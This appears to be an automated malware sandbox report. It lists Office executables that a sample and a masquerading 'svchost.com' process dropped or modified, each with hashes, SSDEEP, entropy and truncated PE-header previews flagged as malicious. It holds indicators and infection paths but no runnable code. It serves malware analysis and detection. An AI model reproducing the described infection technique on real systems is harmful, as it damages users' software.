SHA-256:	2009879148C3ED6E84842B5B6FADE5C90796432F9661AEAB1F984707131A8421
SHA-512:	08009C92E6B4E652CD6516DCE9A4E88329A7A95C8F423C224FB15B983F1F3E8B239C7FDCAF0A567DE409756B1F813099DF1F5EA26B1B1D6B66D852A2716DE79E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	306048
Entropy (8bit):	6.581428218746521
Encrypted:	false
SSDEEP:	6144:Pug872jsLuLnPo2TTHswP2TGz3FUCHySYNu:/+2jsLuT3MfTGW5
MD5:	5AA294CA5D5316224ECDB8A8AC9D9ACE
SHA1:	6BB45B320A6A5DC78A082D9109E0D17EEF34DC56
SHA-256:	3392949F3912C9BC7AA7F766D41DAB5CCF7897F0A7E764616C40BB88CA8A4727
SHA-512:	5799D021A5B58CAA3D6B7A9E0D7B8F6DCAF1886BF4EC6E1BF6FE30C18D475A5F9384323064854BBC2E4B0AF7DFB1D7A7AC0FFC8D079DA3923C8BFE330F3F5D87
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108448
Entropy (8bit):	6.041379910770017
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCWweqz1lezmtJwzojsKyyJFGgHZ//rHzb:zr8WDrCSqzXe0wSyyJFD//Hb
MD5:	F8D9ABB1B7F268C598623F479012D0DD
SHA1:	E79F3937B827EAB37E03C3D6083541641491E701
SHA-256:	FD6A12A515BC65DD8D8E133E4FAF4E60A4BF4F0ADC27E7CC200A200206FA7603
SHA-512:	0E7F482B286860CC322E8E9ABB8BFAA6C9A4C335D443F7EF0349EAF8696514CBE06D0743FBC1181FB45E6FB07E23647DD95B7362829E76DE97BF6071DE12EE31
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	662600
Entropy (8bit):	5.99949921629127
Encrypted:	false
SSDEEP:	12288:hpo/FEVciSJJtH4PoR6moWEBfQLxZPhEx7xgtV2hv4tkYUK2tlIqR7lmNK/IKrtK:UFEWi4JtH4PoRfoFIxZPk0NKbB0R
MD5:	972F426D9B56B37005FDABC7D334747B
SHA1:	140458C19EDCD7C4B75586BB4DBA5930D5693DC5
SHA-256:	5052A0F40917AF50A319DD1BC4C39A62289A0723645AEF4A0DC8DBA0DF0391D9
SHA-512:	A4D3E9EC84C8111423CCD978081A2E95C268A177801F6B3E8F81965BE709F1F062C035A774BF9C7A706FAB67F988D3E88FC87E233C449D0179545A569EAC9DA8
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	260560
Entropy (8bit):	5.442716114061443
Encrypted:	false
SSDEEP:	3072:zr8WDrCl4ZAh7ULoQdHBjw8Q2pFj4+W1ISYpksZmRohnonRBfTjzJEthEWV:PulPfQdhMuj4VM8imPjGthEWV
MD5:	1C9E01BBA5F422C56C9F336EB663411A
SHA1:	51AF077DD40C9407BBF10ECF3C8CBF438A0FE69F
SHA-256:	64397891801142AE1DADB7B7E7C9D72624BCE616EA76E21938ABFD415CF2BB54
SHA-512:	F1B54EFC6744DE37E2849B0B9E69551ADFA42E8E10B73FAA0409619BBC03C0D48077C103D055CB78EB8744EC2D621EA216BEA7E8376CC36C123954BB8A00573F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4357672
Entropy (8bit):	3.9597794800288577
Encrypted:	false
SSDEEP:	98304:TYN3nsBQ5ghvEyqf/whWovz9hRJ5RbisrbdsPO9jXs:kN3nsBcghvEyqf/whxz9hRJ5Rbisrbdg
MD5:	3B9A302D04781556EB5D44909E28D41B
SHA1:	47BC767DF0BB1E31C263F68760FADC74F97DD48A
SHA-256:	2A1D7B8D229862E2B7A1CBD8F2EA3AFDF0D6FB40A8DDABFA62DB35509FE8080E
SHA-512:	72DC33192BAC6917B7B25430B125A6C3F061A607B96B7096095FCECF9AE3563FFB8EFE2BF6DA2FB5166BB5CFA353226A249B7C3C0F212988B167FF3A19D895D0
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124056
Entropy (8bit):	5.717272734704383
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCCwu7mzj9zNtP9zNps8Q:zr8WDrCCLmzj9P95psb
MD5:	69A2BD4BD404C78D413DAD66D32597C3
SHA1:	7663FEFC203E918AA0A6618A4548B273E4AA2893
SHA-256:	5AEAF364B4159E6603DCC5AC220765A83033E62679405C8141A4C209F89BDF6F
SHA-512:	913C45F67F749ECAC269FBCEBDDAB2A274F274DC7FE0376FEB92C8438493FC9B8B528C48962C27B05710C8D1B48E22300002A9D7075D8FD3DEA1680C0772E9B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	358336
Entropy (8bit):	4.510772603696019
Encrypted:	false
SSDEEP:	6144:PuEyUkKOEEIK128d2VKjw0EYsfZJnPmTuJjac2a51lHpLszc/kzY56Y:Rx/B/kib
MD5:	827D7E2C0648A1E8647744C90DDC13B1
SHA1:	94CF03EBCDEAECECF5A4438471AD452C8FBD1699
SHA-256:	AD4CE68BE5E3737235F7A3D3F6516B6EBF04209AA5BF2A1E929FA7FAB5F78460
SHA-512:	41C3A9FD99483B67E99E53BA7A706B6AD3F95268F09CE15932DB08CD42ECA01AFD6D05B5FBF2947A3BAE2D01EC9D629B9C269A5B67B34853FDB83FA40FC84581
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	763032
Entropy (8bit):	4.114589316949574
Encrypted:	false
SSDEEP:	3072:zr8WDrCcwRnjnzhCiXXXXXX1AzZwAazTwdOLxN1IHO:PucwRnj7XXXXXXSzuz8OZ
MD5:	F898708BB5A98C216A5BDC4D8AB55F31
SHA1:	22F8606DFCC66EAA9348FCBE454AD077C1D6BD48
SHA-256:	9660432E007E774265D438B48100B8D6F0A98DC028D0208720FF7A76C72EA115
SHA-512:	2518C501205897BF611DD43A462AE4F689E1C1587BD2F5F15B33CDB63CFB367A402FB4BB61FFE7A7EC23AC564DA601060011AE6B82CDB8D2E565D14F7C72505F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	895120
Entropy (8bit):	2.953809119285822
Encrypted:	false
SSDEEP:	3072:zr8WDrCpfCEq7tOxIfMFzCEpAm/4rx7z1arf+9:PuSz8w
MD5:	8BBEE21F2745E766B635E8364A983B8E
SHA1:	895B051BA462CA876E40C188C44F6EE503CE6961
SHA-256:	5F880F19B653528AC1D53804BC0DB2B238E63BE9C040AE6CDB1DC3DE97A4292A
SHA-512:	13AF178B5FEF8D67A5EDBB3B3DED3CFA68F97A7BC90567360A615D2616267B0163CB4B2004B6D3454F919625E818135AE60125154034AC4567133E90CE576302
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105440
Entropy (8bit):	6.077342901333925
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCqjhzxwKehzgt5t1D:zr8WDrCMhLehEthD
MD5:	3041D08F176DA6C15446B54A11BA7772
SHA1:	474A99A64B75751BBD04B10E7F7F2D9D43F12E6E
SHA-256:	3E6EB6EE327A6054BA3BE5F55F3481FE3436AB3CF0F0D6FE99976472CDD02631
SHA-512:	216E38ACBCAC94F24144566415DFB6EBC94A16E93B44E1F45B79D982523B8F4A6A2FC1AD5843C336998D30F2EBD39ACE559F93EAD1AEE696A81032CB5641202D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	537536
Entropy (8bit):	4.966282092151679
Encrypted:	false
SSDEEP:	3072:zr8WDrCXPMMRMMMmMMMvMMMwMMMNMMMWMMM3MMsewVOOMzMMvMMOMMMJMM2MMQMe:PuGwVR6V7byjUWAZyVVdz8eEdGo
MD5:	565FEA50A9BDB9B4C1A88FB65316D097
SHA1:	D98406308D5B48AB1AC35E2E866D0F1A30E37442
SHA-256:	93A7BDC3118E56C0F2EA0CDD7718D4A7F7165B6FF6A1A4EC7912946B35DA1DB8
SHA-512:	7C0DBBC3880E747EF11EEF454173A959F98045110BC0A851DDF1405B8DFC18A1B6F1D2321271C67B8815647698AB8754EB9C0DF226ABA598060B78580A1BE299
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1271952
Entropy (8bit):	4.08276153361242
Encrypted:	false
SSDEEP:	3072:zr8WDrCf3ppPpNpDpspp/pCp0pmppdpspppRppMpLp0ppppbpQp2pphpSpXpQppt:PuIKQSNdhnSzv
MD5:	4F7B544E82176A6591B213634C9DCBBC
SHA1:	EAB0382F33BD32FBF05351F750014EB814CDFC07
SHA-256:	3E8E1E8C74AC39D6663C089A3FADE84F9852F70325981F037E9CA111036448CA
SHA-512:	C339CC8DA7001494E3D2855632837408784412412630507E52A165AB42FCE29CF0D0115D3C3475ED231B2E4A14025464FC6DA85F4AD3227822B6855117D7C604
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4099760
Entropy (8bit):	3.71770959793901
Encrypted:	false
SSDEEP:	12288:+BKs7fvZIFpCYVIVN2mGsb8HtVLaHw3j4cLbUBRjLFP29DyZbT9gb/m06aCzE6h9:+BKszX0FjOeblHiled/k
MD5:	44D035172880CB494A431B5151307A85
SHA1:	F754A916F702B3A4AE738978E6CAF9ED103977F7
SHA-256:	60DBDA9BFE2A3A683DE925697F23962303AADA724144B70C50D5D4D915A73EDA
SHA-512:	1916ED72E59480F3585160231E3DCC459DCBFB3BBF126C7456A3135B9A08150A3B5512F5469CE7B60E2CFEAFD52B06157DA821367E83184CB2D54FE1BAF1D52C
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273488
Entropy (8bit):	4.318016696735314
Encrypted:	false
SSDEEP:	3072:zr8WDrC56bZt+ATS583ONo4aezJ8ZfqiA:Pu56bZtazB
MD5:	8014D7B281477BA8D20CF01253894A75
SHA1:	847240AFA115E972C2115BF02965C89013BFEB8D
SHA-256:	D78C4FE0CB9E9552A8073F6F60F5CE2D1BC9306855FF52788B8DC542C62C56B0
SHA-512:	F66439985974204855DC81E3E43C9CECD19914DE11C72BB6EFD5CB0BC824198F0904ED5CC33975C45A02BDF0EABB979594B1A0CD793EF77A99C507CDB4F423F9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124056
Entropy (8bit):	5.717272734704383
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCCwu7mzj9zNtP9zNps8Q:zr8WDrCCLmzj9P95psb
MD5:	69A2BD4BD404C78D413DAD66D32597C3
SHA1:	7663FEFC203E918AA0A6618A4548B273E4AA2893
SHA-256:	5AEAF364B4159E6603DCC5AC220765A83033E62679405C8141A4C209F89BDF6F
SHA-512:	913C45F67F749ECAC269FBCEBDDAB2A274F274DC7FE0376FEB92C8438493FC9B8B528C48962C27B05710C8D1B48E22300002A9D7075D8FD3DEA1680C0772E9B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3012136
Entropy (8bit):	3.906262161438606
Encrypted:	false
SSDEEP:	3072:zr8WDrCbKd0qVmvzC1SvXKo3NzbsZ6DdIAZcbEcofUnpfRII8Lp9qgN3WJp0Rf51:PuO/V/CfDhNG5sMXjjzmEPocu
MD5:	B271F417CB5BFAD7F7393D461A144632
SHA1:	79DA62F49B03029504D3FF7EA433962C68FA0FB1
SHA-256:	0819926873AD686280B2241305EDE4138000937E8FAFCC579D9EBC00ADB3350A
SHA-512:	BC87CA209931A059E33D9F214A6D24641E42C51A3772FEE3EC4B53A0E4EA0F0621E518DCA4B65DE797ABE4CA7D934D48020E82438C35B2BF4EC1FDC58F950579
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3531712
Entropy (8bit):	3.7796637413670093
Encrypted:	false
SSDEEP:	6144:Pu8sSR7PYKzz38YwZItvsDu7DbDhRAUzHW:5PYmLWSDBy
MD5:	6DC25D566989B3C8B314D0A51CE264BB
SHA1:	91A91837034A68BC5327132381D4A060B96B80AC
SHA-256:	7B0D191A69BA4A30A5F9BA4914F61B4514B30507467858E595353E158E20B62C
SHA-512:	213F26AC7407CDC444968465B5F2153DBF4D0B1113ECFFC7CBD936BCD4D0F1B024C5EB294EB1630D986BC022726F622950B8187304385FB81CA234E0E6D6D9A4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4360744
Entropy (8bit):	3.850606247566328
Encrypted:	false
SSDEEP:	6144:PuEmRfvlTZY/C3ul0ywb/uXMo+YJ7M41zXLWIBMu:3+6M+595B
MD5:	09B2487DFE9E56CE5607865EFFE3563D
SHA1:	ADB3C301D209724B029AFEAAF7E395A9F22CEF12
SHA-256:	BEEBE1022B6EEC620C1AC3D5465FD9844636986E8398F15F5017EF4DA8442A9D
SHA-512:	F835614123214E800E1B2007F23C322AA4738D79E26437B9B48EE4C4A15DBA01415419D5B1CA6B612644A854E9AAFE7ADABDA36C9C1586ECC428C79CB5021741
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1123480
Entropy (8bit):	3.9134953251926725
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oar8WDrC:Puv243xmQm59UtUSfzQu
MD5:	F4DA1EC0170B2BD6FD19BD2844E2E81A
SHA1:	755CD922FB0D938ED9D3EBAD64C5EA4342F97922
SHA-256:	3469F3C3BCCEEF54304B09A3ADD3DF97B4AB3D67CD4218E138B23FF5E68165D3
SHA-512:	D67EBCB15B6E311474026DF027D785E6E3926258B41B522F768346CD4DD0C9F996050F9E8349ACCE3E599F23E15ED434849C309DD9D68E7722A5884EDA37364A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
